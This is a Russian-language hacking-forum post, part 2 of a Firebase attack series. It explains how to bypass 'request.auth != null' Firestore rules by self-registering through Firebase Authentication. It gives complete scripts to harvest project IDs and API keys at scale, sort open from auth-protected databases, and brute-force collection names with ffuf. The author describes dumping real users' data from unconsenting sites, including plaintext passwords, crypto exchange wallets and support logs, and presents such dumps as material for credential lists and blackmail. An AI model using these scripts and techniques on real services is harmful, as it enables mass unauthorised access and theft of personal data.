LIMB
Вход Регистрация

тема

Firebase пентест (Часть 2): Повышаем привелегии через authentication, ломаем базы firestore и вытаскиваем от туда много интересного

YmbMember · · 0 ответов · 539 просмотров

Не удалось прогрузить медиа

Вступление

Всем привет, с вами YmbMember. Это продолжение серии статей по пентесту firebase сервисов. В прошлой части мы научились собирать таргеты для тестирования и рассмотрели как можно пентестить realtime databse. В этой части мы узнаем что такое firestore и с чем его едят, как пентестить firestore. Взглянем что такое firebase authentication и как через нее можно повысить права. Так же я дополню все это кастомными скриптами

Я искал информацию для статьи целую неделю, потому что в интернете информации на этот топик (особенно про повышение прав) почти нет. Статья получилась не менее интересной чем прошлая, поэтому давайте начнём

Что такое firestore

Firestore – облачная nosql база, какая позволяет хранить и синхронизировать данные в реальном времени. Для realtime можно дать такое же определение. Но между ними есть довольно много отличий

Как я говорил в прошлой части, realtime база хранит все данные в виде большого json дерева. Firestore же в свою очередь хранит данные в виде коллекций. Формат хранения данных очень схож с mongodb
Не удалось прогрузить медиа

Так же ключевое отличие есть в правилах безопасности. Firestore позволяет конфигурировать с правилами безопасности более гибко, в отличии от realtime’a. Из-за этого, подход к атаке абсолютно другой. Если в realtime’e мы двумя запросами могли проверить, сможем ли мы получить доступ, то в firestore процесс занимает куда больше времени

Еще одно очень важное отличие – хранение данных. Я уже говорил, что realtime – старший брат firestor’a, но менее развитый по всем фронтам.

РТ зачастую используют для хранения служебных данных. Какие-то критически важные данные там хранят только маленькие проекты.

Firestore используется большими проектами. Как раз тут проекты, какие используют сервисы фб оставляют самое сладкое для злого хакера

Создание тестовой среды
Для того, чтобы влиться в эту тему на все сто – предлагаю создать тестовую среду для тестирования вместе со мной. Нам надо сделать Build двух сервисов – firestore database и authentication
Не удалось прогрузить медиа

Создание firestore database
Процесс билда очень схож с РТ. Как и в РиалТайм нам тут предлагают 2 режима: test и production
  • Не удалось прогрузить медиа
    В тест моде на месяц всем пользователям дают доступ и к записи и чтению. Для наглядности, создадим базу в тестовом режиме и заполним ее какими-то данными, чтобы максимально оживить ее
  • Не удалось прогрузить медиа
Билдим Authentication
С тем что это такое мы разбёремся чутка позже, сперва давайте подключим ее для тестовой среды. Тут тоже ничего сложного нету. Build делается в один клик. После того, как мы сбилдили аутенификейшн, подключим несколько провайдеров. Я подключил вот эти
Не удалось прогрузить медиа


После этих этапов, нам надо создать firebaseConfig
Не удалось прогрузить медиа

Даем любой app-nickname и получаем конфиг
Не удалось прогрузить медиа

Теперь мы полноценно создали фб проект, какой мы уже можем интегрировать в код любого веб приложения.

Firestore security rules

Сейчас у нас фс находится в тестовом режиме. Любой желающий может делать с нашей базой все что угодно. Делается это путем HTTP запросов

URL базы выглядит следующим образом:
https://firestore.googleapis.com/v1/projects/<PROJECT ID>/databases/(default)/documents/коллекция/документ

В риалтайме мы могли получить все содержимое базы, добавив /.json в конец. Тут такое не прокатит. В фс мы можем либо читать содержимое коллекции, либо содержимое документа (зависит от того, как настроены rules)
Не удалось прогрузить медиа

Но как правило, мало кто ставит чтение отдельных документов или файлов. Разработчики зачастую ограничиваются только read и write

Давайте посмотрим, что же хранится в нашей коллекции hello какую мы создали ранее. Для этого в конце добавим /hello
https://firestore.googleapis.com/v1/projects/<PROJECT ID>/databases/(default)/documents/hello
Не удалось прогрузить медиа

В ответе нам вернется содержимое коллекции, включая подколлекции и документы

Теперь давайте запишем что-то в базу. Опять же смотрим в справку и разочаровываемся, понимая что есть много методов записи. Но потом вспомним, что почти все ограничиваются лишь read и write и перестаем грустить

Для этого воспользуемся методом PATCH и отправим запрос с json телом. Создадим новую коллекцию hell и запишем в нее документ prod_001
Не удалось прогрузить медиа


В ответе нету никаких ошибок – значит запись прошла успешно. После записи в console.firebase.google.com это выглядит вот так

Не удалось прогрузить медиа


Но методами правила не ограничиваются, их довольно много. Например, можно настроить какие поля в документе можно менять, ставить лимиты на длину контента при записи, какие поля из документа какой пользователь может получить и так далее. Со всем эти вы можете ознакомиться, прочитав документацию https://firebase.google.com/docs/rules/rules-language

Но настолько сильно фс настраивается далеко не всегда. В 80% случаев разработчики только ставят разрешение/запреты на определенные коллекции и ставят правило if request.auth != null
Не удалось прогрузить медиа


 что значительно упрощает массовую охоту

Посмотрим на самые частые виды настройки rules
Не удалось прогрузить медиа

Не удалось прогрузить медиа

Не удалось прогрузить медиа


Как вы видите, разработчики очень любят правило if request.auth != null;. С его обходом нам поможет firebase auth

Аутенификация
Мы c вами уже создали Firebase Authentication. Приложениям он нужен для удобной и быстрой интеграции протокола Oauth 2.0.

Но для нас важно вот, что при помощи этого сервиса, мы можем зарегистрировать нового пользователя и стать авторизованным, обойдя if request.auth != null; 

Информации о том как регистрироваться в ФБ через сервисы аутенификации для повышения прав практически нету. Поэтому я довольно долго копался, чтобы получить эту инфу

То есть: даже если у вас нет учётных данных для приложения на Firebase, вы всегда можете создать новую учётную запись и войти в систему с её помощью.

Регистрацию включена по стандарту, и чтобы ее отключить надо дрочиться с Cloud Function. Поэтому разработчики в 95% просто забивают на это

Firebase по дефолту нам представляет кучу разных методов для sign up/in, включая интеграцию кастомных
Не удалось прогрузить медиа

Они делятся на 3 группы: Native, Additional, Custom.

Native

Native (родные) – список методов входа/регистрации от самой firebase.

Email/password – регистрация через свою почту и пароль. Регистрация происходит на эндпоинте https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=<apiKey>
Не удалось прогрузить медиа


После чего получаем idToken, какой в будущем мы можем использовать для входа. Но я советую получить токен через https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<apiKey>. Через этот эндпоинт мы можем войти в зарегистрированный нами аккаунт. Лучше использовать idToken от сюда, т.к он живет дольше. Хотя это вовсе не обязательно
Не удалось прогрузить медиа


Phone Number
Для того чтобы проверить, доступны ли нам sign up/in через номер телефона, используем https://identitytoolkit.googleapis.com/v1/accounts:sendVerificationCode?key=<apiKey>. Если регистрация по номеру не доступна, покажет вот такую ошибку
Не удалось прогрузить медиа


Если доступна – ответ будет другой. Например, если не подключен платный тариф:
Не удалось прогрузить медиа

Но если честно, этот метод настолько не популярный, что я за всю жизнь видел его лишь в 6 приложениях. И то на них не был подключен платный тариф. Поэтому не вижу в нём особого смысла

Anonymous user
Анонимный пользователь
 — это временный аккаунт в Firebase Authentication, который создаётся без логина и пароля. Он включен, когда кому-то надо дать временную сессию или дать доступ без регистрации

Чтобы получить токен анонимного пользователя, отсылаем запрос на https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=<apiKey>
Не удалось прогрузить медиа


В ответе получаем idToken



Additional providers

Их не мало. Только из коробки мы можем подключить
  • google.com
  • facebook.com
  • twitter.com
  • github.com
  • apple.com
  • playgames.google.com
  • gc.apple.com
  • yahoo.com
  • microsoft.com
  • linkedin.com
  • aol.com
Давайте разберемся, как регистрироваться через гугл, т.к он включен наиболее часто. Принцип для всех провайдеров один и тот самый.
Отсылаем запрос на эндпоинт https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=<apiKey>
Не удалось прогрузить медиа

  • В continiueUri крафтим и указываем ссылку https://<project_id>.firebaseapp.com/__/auth/handler. Если провайдер подключен – в ответе получите ссылку для регистрации. Переходим по ней, и регистрируемся через гугл
  • После регистрации нас перекинет на эндпоинт. В ссылке будет id_token
Не удалось прогрузить медиа

Его мы будем использовать для получения idToken. Отсылаем запрос на https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=<apiKey>
Не удалось прогрузить медиа

И мы получили idToken, какой нам нужен для получения авторизации

Используем токен для обхода if request.auth != null
Если какой-то из выше перечисленных методов регистрации доступен – зарегистрировавшись, мы можем обойти правило if request.auth != null Настрою rules следующим образом

Не удалось прогрузить медиа


Т.е только аутентифицированный пользователь имеет права записи/чтения.

Не удалось прогрузить медиа


Теперь зарегистрируемся через Email/password доступен. Отсылаем запрос и получаем idToken

Не удалось прогрузить медиа

Внутри сервиса Authetication мы можем увидеть, что добавился новый пользователь. Поэтому будьте аккуратней, у разработчиков все пользователи на руках
Не удалось прогрузить медиа

Теперь используя заголовок Authorization: Bearer <idToken> в запросе, попробуем прочитать коллекцию hello

Не удалось прогрузить медиа

Работает!

Пентест single таргета
Этот раздел для тех, кто занимается не массовой охотой а охотой по мере обнаружения (как баг хантеры). Если вы занимаетесь поиском мисконфигурауий по мере обнаружения, советую делать все вручную. Весь процесс тестирования фс выглядит примерно вот так:

Не удалось прогрузить медиа


Давайте взглянем как это выглядит на живом примере: в папке /js/firebase/firebaseConfig.js мною был найден фб конфиг от веб приложения

Не удалось прогрузить медиа

Давайте отправим запрос к firestore базе, чтобы понять, она вообще существует или нет
Не удалось прогрузить медиа

Она существует. Исходя из ответа можно понять следующие: тут либо права есть только у владельца, либо нам нужно аутентифицироваться. Т.к у нас есть apiKey, давайте посмотрим на доступные методы регистрации

Для этого воспользуемся моим инструментом. Но о нем я расскажу чуть позже
Не удалось прогрузить медиа

Мы можем зарегистрироваться через email/password и anonymous. Я выберу email/password. Скрипт автоматом в вывод сохранил idToken, поэтому попробуем брутить через него

Для брута воспользуемся cловарём https://raw.githubusercontent.com/Icex0/OpenFirebase/refs/heads/main/openfirebase/wordlist/firestore-collections.txt
Не удалось прогрузить медиа

Доступ к коллекции userdata мог получить любой авторизованный пользователь.
В итоге я смог получить 43к записей пользователей. В некоторых есть пароли, какие не захэшированы
Не удалось прогрузить медиа


Массовый хантинг
В прошлой части, я вам показал свой метод сбора сервисов через поисковые системы по типу шодан/zoomeye/fofa. Но мой прошлый скрипт умел собирать только appId. Я его допилил, и он может собирать сейчас не только appId. В добавок он умеет собирать еще и apiKey.

Code:
from __future__ import annotations
import argparse
import concurrent.futures
import re
import sys
from urllib.parse import urlparse
from threading import Lock

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

try:
    import requests
except Exception:
    sys.exit("Install requests: pip install requests")

try:
    import colorama
    colorama.init(autoreset=True)
    RED = colorama.Fore.RED + colorama.Style.BRIGHT
    GREEN = colorama.Fore.GREEN + colorama.Style.BRIGHT
    YELLOW = colorama.Fore.YELLOW + colorama.Style.BRIGHT
    CYAN = colorama.Fore.CYAN + colorama.Style.BRIGHT
    RESET = colorama.Style.RESET_ALL
except Exception:
    sys.exit("Install colorama: pip install colorama")

UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"}

# Захват поддоменов firebase
SUB_RX = re.compile(r'([A-Za-z0-9\-]{2,})\.(?:firebasedatabase\.app|firebaseapp\.com|appspot\.com|firebaseio\.com)', re.I)

# Стандартные поля firebase
FIELD_RX = {
    k: re.compile(rf'(?:["\']{re.escape(k)}["\']\s*[:=]\s*)(["\'`])([^"\']+)\1', re.I)
    for k in ("projectId", "authDomain", "databaseURL", "storageBucket")
}

# Запасной, более свободный парсер полей
FALLBACK_RX = re.compile(
    r'[\"\'`](projectId|authDomain|databaseURL|storageBucket)[\"\'`]\s*[:=]?\s*([\"\'`])([^\"\'\n]+)\2',
    re.I
)

# Жёсткий регекс для Google API-ключа: 'AIza' + ровно 35 символов (буквы/цифры/_/-)
API_KEY_RX = re.compile(r'AIza[0-9A-Za-z\-_]{35}')


def norm_url(u: str):
    u = (u or "").strip()
    if not u:
        return None
    p = urlparse(u)
    return u if p.scheme in ("http", "https") or p.scheme == "" else u


def fetch(url: str, timeout: int):
    try:
        r = requests.get(url, headers=UA, timeout=timeout, allow_redirects=True, verify=True)
        return r.status_code, r.text
    except requests.exceptions.SSLError:
        try:
            r = requests.get(url, headers=UA, timeout=timeout, allow_redirects=True, verify=False)
            return r.status_code, r.text
        except Exception as e:
            return None, f"ERR:{e}"
    except Exception as e:
        return None, f"ERR:{e}"


def try_schemes(orig: str, timeout: int):
    p = urlparse(orig)
    if p.scheme in ("http", "https"):
        cand = [orig]
        if p.scheme == "http":
            cand.append("https://" + p.netloc + p.path + (("?" + p.query) if p.query else ""))
    else:
        cand = ["https://" + orig, "http://" + orig]

    last = None
    for u in cand:
        s, t = fetch(u, timeout)
        if s is None:
            last = t
            continue
        return u, s, t
    return None, None, last or f"fail:{orig}"


def parse(text: str):
    found = {}
    low = (text or "").lower()
    domain_hit = any(d in low for d in (
        ".firebasedatabase.app",
        "firebaseapp.com",
        "firebaseio.com",
        "appspot.com"
    ))

    for k, rx in FIELD_RX.items():
        m = rx.search(text)
        if m:
            found[k] = m.group(2).strip()

    if len(found) < 1:
        for m in FALLBACK_RX.finditer(text):
            if m.group(1) not in found:
                found[m.group(1)] = m.group(3).strip()

    sub = SUB_RX.findall(text)
    if sub:
        found['sub'] = sub[0]

    apikeys = API_KEY_RX.findall(text or "")

    return found, apikeys, domain_hit


def pick_project_id(found: dict):
    """
    Выбираем projectId только из данных, найденных на странице (found).
    Это гарантирует, что projectId действительно был найдён в теле ответа.
    """
    pid = (found.get('projectId') or "").strip()
    if pid and pid != "-":
        return pid

    pid = (found.get('sub') or "").strip()
    if pid and pid != "-":
        return pid

    for k in ('authDomain', 'databaseURL', 'storageBucket'):
        v = (found.get(k) or "").strip()
        if not v:
            continue
        try:
            p = urlparse(v if v.startswith('http') else 'https://' + v)
            host = (p.netloc or p.path).split(':')[0]
        except Exception:
            host = v
        m = re.match(r'^([A-Za-z0-9\-]+)', host)
        if m:
            return m.group(1)

    return None


def inspect(u: str, timeout: int = 10):
    """
    Инспект одной строки. Возвращаем только данные, найденные в ТЕЛЕ ЭТОЙ страницы.
    """
    n = norm_url(u)
    if not n:
        return {'url': u, 'projectId': None, 'apikeys': [], 'ok': False}

    tried, status, body = try_schemes(n, timeout)
    if status is None:
        return {'url': u, 'projectId': None, 'apikeys': [], 'ok': False}

    found, apikeys, hit = parse(body)
    pid = pick_project_id(found) or None

    # Возвращаем pid и apikeys конкретно для этой страницы
    return {'url': tried or n, 'projectId': pid, 'apikeys': apikeys, 'ok': bool(pid or apikeys)}


def run(path: str, workers: int, timeout: int, opid_path: str | None,
        oak_path: str | None, comb_path: str | None):
    """
    Основной цикл: построчно запускаем inspect в потоках и сразу пишем результаты
    в соответствующие файлы по мере появления.
    """

    try:
        with open(path, 'r', encoding='utf-8', errors='ignore') as f:
            lines = [l.strip() for l in f if l.strip()]
    except Exception as e:
        sys.exit(f"Read err:{e}")

    lock = Lock()

    written_pids = set()
    written_keys = set()
    written_pairs = set()

    # Открываем файлы в режиме 'a' (append). Можно поменять на 'w' если хотим перезаписывать.
    opf = open(opid_path, "a", encoding="utf-8") if opid_path else None
    oakf = open(oak_path, "a", encoding="utf-8") if oak_path else None
    combf = open(comb_path, "a", encoding="utf-8") if comb_path else None

    tot = found = 0

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futs = {ex.submit(inspect, url, timeout): url for url in lines}

        for fut in concurrent.futures.as_completed(futs):
            url = futs[fut]
            tot += 1

            try:
                r = fut.result()
            except Exception:
                r = {'url': url, 'projectId': None, 'apikeys': [], 'ok': False}

            pid = r.get("projectId")
            keys = r.get("apikeys") or []

            # Если на странице найден projectId — выводим и записываем (если требуется)
            if pid:
                print(f"{GREEN}[PROJECT]{RESET} {pid} - {r['url']}")
                if opf:
                    with lock:
                        if pid not in written_pids:
                            opf.write(pid + "\n")
                            opf.flush()
                            written_pids.add(pid)
                found += 1

            # Если на странице найдены apikeys — выводим и записываем (если требуется)
            if keys:
                for k in keys:
                    print(f"{CYAN}[APIKEY]{RESET} {k} - {r['url']}")
                    if oakf:
                        with lock:
                            if k not in written_keys:
                                oakf.write(k + "\n")
                                oakf.flush()
                                written_keys.add(k)

            if pid and keys:
                for k in keys:
                    pair = f"{pid}:{k}"
                    if combf:
                        with lock:
                            if pair not in written_pairs:
                                combf.write(pair + "\n")
                                combf.flush()
                                written_pairs.add(pair)
                                print(f"{CYAN}[PAIR-WROTE]{RESET} {pair} - {r['url']}")
                    else:
                        # файл не открыт — просто показываем в stdout
                        print(f"{CYAN}[PAIR]{RESET} {pair} - {r['url']}")

            if not pid and not keys:
                print(f"{YELLOW}[NO-DATA]{RESET} {r['url']}")

    if opf: opf.close()
    if oakf: oakf.close()
    if combf: combf.close()

    return {
        "total": tot,
        "found": found
    }


def main():
    p = argparse.ArgumentParser()
    p.add_argument("file")
    p.add_argument("-opid", "--projectids", help="save project ids to file")
    p.add_argument("-oak", "--apikeys", help="save API keys to file")
    p.add_argument("-o", "--output", help="save pairs projectId:apiKey (only when both found on the same page)")
    p.add_argument("--workers", type=int, default=10)
    p.add_argument("--timeout", type=int, default=10)

    args = p.parse_args()

    stats = run(
        args.file,
        args.workers,
        args.timeout,
        args.projectids,
        args.apikeys,
        args.output
    )

    print(f"{CYAN}Processed:{RESET} {stats['total']} {GREEN}found projectIds:{stats['found']}{RESET}")


if __name__ == "__main__":
    main()

python script.py parsed -o all
Не удалось прогрузить медиа


Теперь в файле all у нас красиво сохранены результаты в формате projectID:apiKey . Такой формат нам нужен для запуска следующих скриптов

Не удалось прогрузить медиа

Теперь давайте отчекаем все эти базы. Закрытые/ несуществующие – на мусор. Открытые/требующие аутентификации – к нам.

Code:
https://pastebin.com/uc7ADd8s#!/usr/bin/env python3
import argparse
import os
import sys
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed

import requests
from colorama import Fore, Style, init as colorama_init

colorama_init(autoreset=True)

outdir = "checker_output"
files_map = {
    "open": "open.txt",
    "auth": "auth.txt",
    "open_no_key": "opennoapikey.txt",
    "auth_no_key": "authnoapikey.txt",
}
DEF_THREADS = 10
REQ_TIMEOUT = 10
UA_STRING = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"

lock_stats = threading.Lock()
lock_write = threading.Lock()
stats = {"checked": 0, "open": 0, "auth": 0, "notfound": 0, "errors": 0}


def append_line(fname: str, line: str):
    path = os.path.join(outdir, fname)
    with lock_write:
        with open(path, "a", encoding="utf-8") as fh:
            fh.write(line.rstrip() + "\n")


def info(msg: str):
    print(f"{Fore.CYAN}[INFO] {Style.RESET_ALL}{msg}")


def ok(msg: str):
    print(f"{Fore.GREEN}[OPEN] {Style.RESET_ALL}{msg}")


def auth_warn(msg: str):
    print(f"{Fore.YELLOW}[AUTH] {Style.RESET_ALL}{msg}")


def notfound_log(msg: str):
    print(f"{Fore.MAGENTA}[NOT FOUND] {Style.RESET_ALL}{msg}")


def fail(msg: str):
    print(f"{Fore.RED}[ERROR] {Style.RESET_ALL}{msg}")


def decide_response(body: str) -> str:
    t = body.strip()
    if t == "{}" or t == '{"fields":{}}' or t == '{"fields": {}}':
        return "open"
    if "Missing or insufficient permissions" in body:
        return "auth"
    return "other"


def probe_with_key(sess: requests.Session, proj: str, key: str, timeout: int = REQ_TIMEOUT):
    base = f"https://firestore.googleapis.com/v1/projects/{proj}/databases/(default)/documents/randomcollection866"
    url = f"{base}?key={key}"
    headers = {"User-Agent": UA_STRING}
    try:
        r = sess.get(url, headers=headers, timeout=timeout)
        res = decide_response(r.text)
        with lock_stats:
            stats["checked"] += 1
        if res == "open":
            with lock_stats:
                stats["open"] += 1
            ok(f"{proj}:{key} -> OPEN")
            append_line(files_map["open"], f"{proj}:{key}")
        elif res == "auth":
            with lock_stats:
                stats["auth"] += 1
            auth_warn(f"{proj}:{key} -> AUTH REQUIRED")
            append_line(files_map["auth"], f"{proj}:{key}")
        else:
            with lock_stats:
                stats["notfound"] += 1
            notfound_log(f"{proj}:{key}")
    except Exception as e:
        with lock_stats:
            stats["errors"] += 1
        fail(f"{proj}:{key} -> Exception: {e}")


def probe_no_key(sess: requests.Session, proj: str, timeout: int = REQ_TIMEOUT):
    url = f"https://firestore.googleapis.com/v1/projects/{proj}/databases/(default)/documents/randomcollection866"
    headers = {"User-Agent": UA_STRING}
    try:
        r = sess.get(url, headers=headers, timeout=timeout)
        res = decide_response(r.text)
        with lock_stats:
            stats["checked"] += 1
        if res == "open":
            with lock_stats:
                stats["open"] += 1
            ok(f"{proj} -> OPEN (no API key)")
            append_line(files_map["open_no_key"], f"{proj}")
        elif res == "auth":
            with lock_stats:
                stats["auth"] += 1
            auth_warn(f"{proj} -> AUTH REQUIRED (no API key)")
            append_line(files_map["auth_no_key"], f"{proj}")
        else:
            with lock_stats:
                stats["notfound"] += 1
            notfound_log(f"{proj}")
    except Exception as e:
        with lock_stats:
            stats["errors"] += 1
        fail(f"{proj} -> Exception: {e}")


def read_lines(path: str):
    with open(path, "r", encoding="utf-8", errors="ignore") as fh:
        for ln in fh:
            s = ln.strip()
            if not s:
                continue
            if s.startswith("#"):
                continue
            yield s


def ensure_outdir():
    os.makedirs(outdir, exist_ok=True)
    for v in files_map.values():
        p = os.path.join(outdir, v)
        if not os.path.exists(p):
            open(p, "a", encoding="utf-8").close()


def worker_with_key(proj: str, key: str, timeout: int):
    s = requests.Session()
    try:
        probe_with_key(s, proj, key, timeout=timeout)
    finally:
        s.close()


def worker_no_key(proj: str, timeout: int):
    s = requests.Session()
    try:
        probe_no_key(s, proj, timeout=timeout)
    finally:
        s.close()


def main():
    p = argparse.ArgumentParser(description="simple firestore checker")
    g = p.add_mutually_exclusive_group(required=True)
    g.add_argument("-fpa", "--file-projects-with-api", help="projectId:apiKey per line")
    g.add_argument("-fpid", "--file-projects", help="projectId per line")
    p.add_argument("-t", "--threads", type=int, default=DEF_THREADS)
    p.add_argument("--timeout", type=int, default=REQ_TIMEOUT)
    args = p.parse_args()

    ensure_outdir()

    tasks = []
    mode = None
    if args.file_projects_with_api:
        mode = "with"
        for line in read_lines(args.file_projects_with_api):
            if ":" not in line:
                info(f"skip malformed: {line!r}")
                continue
            a, b = map(str.strip, line.split(":", 1))
            if not a or not b:
                info(f"skip malformed: {line!r}")
                continue
            tasks.append((a, b))
    else:
        mode = "no"
        for line in read_lines(args.file_projects):
            tasks.append(line.strip())

    total = len(tasks)
    if total == 0:
        fail("No valid entries found. Exiting.")
        sys.exit(1)

    info(f"Mode: {'projectId:apiKey' if mode=='with' else 'projectId-only'}")
    info(f"Entries to check: {total}")
    info(f"Threads: {args.threads}, Timeout: {args.timeout}s")
    info(f"Outputs: {outdir}")

    with ThreadPoolExecutor(max_workers=args.threads) as ex:
        futs = []
        if mode == "with":
            for proj, key in tasks:
                futs.append(ex.submit(worker_with_key, proj, key, args.timeout))
        else:
            for proj in tasks:
                futs.append(ex.submit(worker_no_key, proj, args.timeout))
        try:
            for f in as_completed(futs):
                _ = f.result()
        except KeyboardInterrupt:
            fail("Interrupted. Shutting down.")
            ex.shutdown(wait=False, cancel_futures=True)
            sys.exit(1)

    print()
    print("=" * 60)
    print(f"Total checked: {stats['checked']}")
    print(f"{Fore.GREEN}Open: {stats['open']}{Style.RESET_ALL}")
    print(f"{Fore.YELLOW}Auth required: {stats['auth']}{Style.RESET_ALL}")
    print(f"{Fore.MAGENTA}Not found / Unavailable: {stats['notfound']}{Style.RESET_ALL}")
    print(f"{Fore.RED}Errors: {stats['errors']}{Style.RESET_ALL}")
    print(f"Results saved in: {outdir}")
    print("=" * 60)


if __name__ == "__main__":
    main()

Давайте немного поясню как использовать скрипт:

Через -fpa мы ему даем файл в формате projectId:apiKey. Т.е вывод с прошлого скрипта. В моем случае это файл all

Через -fpid мы ему даем список только projectId. В прошлой части мы с вами вытащили 20000 штук projectId через SubFinder. Самое время проверить по ним открытые firestore базы
Не удалось прогрузить медиа

Выводит скрипт все результаты сканирования в папку checker_output. Создаются файлы с открытыми базами и с базами требующими токена.

Давайте займемся базами, требующими авторизации. Этим можно заняться только если у вас есть список apiKey. Если их нету – пропускаем этот шаг. Нам надо достать для каждой idToken. Автоматизировать полностью это очень сложно, и виною тому additional providers. Но авторизация через email/password и anonymous login – легкая задача. Я написал инструмент, какой посмотрит какие методы регистрации доступны. Если регистрация через email/password или anonymous login доступна – скрипт автоматически регистрируется и сохраняет токены.

python authchecker.py -f <auth.txt с checker_output> --dir test2 --provider providers.txt
Не удалось прогрузить медиа


Файл providers.txt
google.com
facebook.com
twitter.com
github.com
apple.com
playgames.google.com
gc.apple.com
yahoo.com
microsoft.com
linkedin.com
aol.com


Не удалось прогрузить медиа


Тепepь наша задача пробрутить коллекции. Тут нам поможет FFUF. Для этого я написал скрипт, какой сможет помочь нам в этом

Code:
#!/usr/bin/env bash
set -euo pipefail
IFS=$'\n\t'

if ! command -v ffuf >/dev/null 2>&1; then
  exit 1
fi

if [ "$#" -lt 2 ]; then
  exit 2
fi

PROJECTS_FILE="$1"
WORDLIST="$2"
THREADS="${3:-40}"

PROXY="http://127.0.0.1:8080"

if [ ! -f "$PROJECTS_FILE" ]; then
  exit 3
fi
if [ ! -f "$WORDLIST" ]; then
  exit 4
fi

MATCH_CODES="200"

while IFS= read -r raw || [ -n "$raw" ]; do
  line="$(echo "$raw" | tr -d '\r' | xargs)"
  [ -z "$line" ] && continue

  IFS=':' read -ra parts <<< "$line"
  part_count="${#parts[@]}"
  PROJECTID="${parts[0]}"
  APIKEY=""
  IDTOKEN=""

  if [ "$part_count" -ge 2 ]; then
    APIKEY="${parts[1]}"
  fi

  if [ "$part_count" -ge 3 ]; then
    IDTOKEN="${parts[2]}"
    if [ "$part_count" -gt 3 ]; then
      for i in "${parts[@]:3}"; do IDTOKEN="${IDTOKEN}:$i"; done
    fi
  fi

  if [ -n "$APIKEY" ]; then
    URL="https://firestore.googleapis.com/v1/projects/${PROJECTID}/databases/(default)/documents/FUZZ?key=${APIKEY}"
  else
    URL="https://firestore.googleapis.com/v1/projects/${PROJECTID}/databases/(default)/documents/FUZZ"
  fi

  HEADER_ARGS=()
  if [ -n "$IDTOKEN" ]; then
    HEADER_ARGS+=( -H "Authorization: Bearer ${IDTOKEN}" )
  fi

  ffuf -s -w "${WORDLIST}" -u "${URL}" -t "${THREADS}" -mc ${MATCH_CODES} -x "${PROXY}" "${HEADER_ARGS[@]}" || true
  sleep 0.5

done < "$PROJECTS_FILE"

Он принимает форматы

  • projectId
  • projectId:apiKey
  • projectId:apiKey:idToken

Вы можете дать ему все это в куче, и он разберется что с этим делать сам.

Поэтому объединяем результаты с checker_output + anonymous.txt + emailpassword.txt

Так же важно, что для этого инструмента вам надо запустить burp suite, чтобы весь траффик проксировался. По дефолту скрипт запускается через 127.0.0.1 8080

Запускаемм инструмент

ffuf_firestrobe.sh all_projects.txt <firestore-collections.txt (словарь для брута какой я давал ранее)> кол-во потоков
Переходим в Logger, фильтруем результаты по Content-Length

Не удалось прогрузить медиа

После чего выделяем нужны нам ссылки, копируем и скачиваем контент с каждой

Находки
Я взял немного баз и решил посмотреть что такого интересного можно найти.

Данные пользователей с какого-то крипто обменника. В открытом виде находится абсолютно вся информация об аккаунтах. Начиная с email, открытого пароля заканчивая депозитами и адресами кошельков пользователей (включая админов)
Не удалось прогрузить медиа

Не удалось прогрузить медиа


Причем баз где хранятся email и password много. Но далеко не везде они захэшированы.
Не удалось прогрузить медиа

Не удалось прогрузить медиа


Я думаю на простых email:pass не будем делать остановку, ибо это как-то скучно. Но любителей баз такого типа могу обрадовать. Баз какие можно пустить на email:pass в фс намного больше чем в риалтайме

Все логи с 2019 года тех. поддержки одного сайта. Сайт как оказалось относительно не какой-то ноу нейм
Не удалось прогрузить медиа

Similarweb показывает 75к визитов в месяц
В ФС очень любят хранить сообщения разных приложений. После сканирования я видел десятки баз где простые сообщения пользователей
Не удалось прогрузить медиа

45к записей пользователей, какие входили через firebase auth. Раскрыты токены, емеил адреса, имена пользователей и методы входа
Не удалось прогрузить медиа

Причем таких случаев много. Как я заметил, разработчики любят комбинировать Auth с Firestore

Просто 112к юзеров, увы какого-то не идентифицированного сайта ☹
Не удалось прогрузить медиа

Вот еще подобный
Не удалось прогрузить медиа

На первый взгляд такие базы могут показаться бесполезными, но часто мамкины хацкеры именно такими шантажируют владельцев компаний

Так же очень часто попадаются всякие заказы. Данные в таких коллекциях могут содержать как и просто ФИО, Адрес так и все данные вместе с паролями
Не удалось прогрузить медиа



Пентест firestore заметно сложнее, чем пентест Realtime. Однако именно для хацкеров данные в Firestore зачастую куда ценнее: их больше, структура богаче, а бизнес-логика сложнее.

В этой статье мы разобрали, что такое firestore, как его пентестить, какие существуют способы повышения привилегий и как всё это можно автоматизировать, чтобы не тратить время.

Материалов по этому направлению в открытых источниках крайне мало, особенно когда речь идёт о повышении прав через Auth. Поэтому я уверен, что смог показать что-то действительно новое и дополнить ваши знания практическими примерами.
👍33 🔥7 🤔4 😢4

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.